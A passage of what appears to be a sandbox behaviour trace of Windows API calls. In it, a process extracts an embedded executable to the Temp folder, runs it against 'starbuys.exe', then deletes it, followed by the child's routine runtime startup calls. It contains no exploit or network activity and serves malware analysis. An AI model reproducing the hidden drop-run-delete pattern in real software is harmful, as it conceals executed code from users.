lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0118.736] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0118.736] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0118.736] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0118.736] LockResource (hResData=0x43c648) returned 0x43c648 [0118.736] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x18) returned 0x579e68 [0118.737] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0118.738] GetFileType (hFile=0x94) returned 0x1 [0118.738] WriteFile (in: hFile=0x94, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0118.743] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1000) returned 0x579e88 [0118.743] WriteFile (in: hFile=0x94, lpBuffer=0x579e88*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x579e88*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0118.743] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x579e88 | out: hHeap=0x560000) returned 1 [0118.743] CloseHandle (hObject=0x94) returned 1 [0118.743] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner" [0118.743] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x98, hThread=0x94, dwProcessId=0xf88, dwThreadId=0xf8c)) returned 1 [0118.756] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0123.913] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0123.916] CloseHandle (hObject=0x98) returned 1 [0123.916] CloseHandle (hObject=0x94) returned 1 [0123.916] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5793b0 | out: hHeap=0x560000) returned 1 [0123.916] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0123.917] ExitProcess (uExitCode=0x0) [0123.917] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5760b0 | out: hHeap=0x560000) returned 1 Process: id = "218" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x2063d000" os_pid = "0xf88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "217" os_parent_pid = "0xf80" cmd_line = "bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 814 os_tid = 0xf8c [0118.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xea51e4e0, dwHighDateTime=0x1d5d06a)) [0118.899] GetCurrentThreadId () returned 0xf8c [0118.899] GetCurrentProcessId () returned 0xf88 [0118.899] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=26086201305) returned 1 [0118.910] GetProcessHeap () returned 0x240000 [0118.911] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0118.911] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0118.911] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0118.911] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0118.911] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0118.911] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0118.911] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0118.911] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0118.911] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0118.912] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0118.913] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0118.913] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0118.913] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0118.913] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0118.913] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0118.913] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0118.913] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0118.913] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0118.913] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0118.913] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x478) returned 0x25f050 [0118.914] GetCurrentThreadId () returned 0xf8c [0118.914] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x28) returned 0x255ed0 [0118.914] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb00) returned 0x25f4d0 [0118.914] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x25f050)) [0118.914] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0118.914] GetFileType (hFile=0x3) returned 0x2 [0118.982] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0118.982] GetFileType (hFile=0x4) returned 0x3 [0118.982] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0118.982] GetFileType (hFile=0xb) returned 0x2 [0118.982] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"starbuys.exe\" -nobanner" [0118.982] GetEnvironmentStringsW () returned 0x25ffe0* [0118.982] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xb32) returned 0x260b20 [0118.983] FreeEnvironmentStringsW (penv=0x25ffe0) returned 1 [0118.983] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x88) returned 0x261660 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x138) returned 0x2616f0 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x256510 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x6c) returned 0x261830 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x62) returned 0x2618b0 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x78) returned 0x261920 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x62) returned 0x2619a0 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2e) returned 0x25de00 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x48) returned 0x256560 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x24) returned 0x255f00 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x28) returned 0x255f30 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1a) returned 0x255f60 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4a) returned 0x261a10 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x72) returned 0x261a70 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x25de40 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2e) returned 0x25de80 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1c) returned 0x255f90 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xd2) returned 0x261af0 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x7c) returned 0x261bd0 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3a) returned 0x2565b0 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x90) returned 0x261c60 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x24) returned 0x255fc0 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x25dec0 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x25df00 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x256600 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x52) returned 0x261d00 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x256650 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x18) returned 0x261d60 [0118.983] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x82) returned 0x261d80 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2e) returned 0x25df40 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1e) returned 0x255ff0 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x25df80 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x54) returned 0x261e10 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x52) returned 0x261e70 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2a) returned 0x25dfc0 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3c) returned 0x2566a0 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x54) returned 0x261ed0 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x24) returned 0x256020 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x25e000 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8c) returned 0x261f30 [0118.984] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x260b20 | out: hHeap=0x240000) returned 1 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1000) returned 0x25ffe0 [0118.984] GetLastError () returned 0x0 [0118.984] SetLastError (dwErrCode=0x0) [0118.984] GetLastError () returned 0x0 [0118.984] SetLastError (dwErrCode=0x0) [0118.984] GetLastError () returned 0x0 [0118.984] SetLastError (dwErrCode=0x0) [0118.984] GetACP () returned 0x4e4 [0118.984] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x228) returned 0x260ff0 [0118.984] GetLastError () returned 0x0 [0118.985] SetLastError (dwErrCode=0x0) [0118.985] IsValidCodePage (CodePage=0x4e4) returned 1 [0118.985] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0118.985] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0118.985] GetLastError () returned 0x0 [0118.985] SetLastError (dwErrCode=0x0) [0118.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㮭޵") returned 256 [0118.985] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㮭޵", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0118.985] GetLastError () returned 0x0 [0118.985] SetLastError (dwErrCode=0x0) [0118.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0118.985] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0118.985] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0118.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0118.985] GetLastError () returned 0x0 [0118.985] SetLastError (dwErrCode=0x0) [0118.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0118.985] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0118.985] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0118.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, 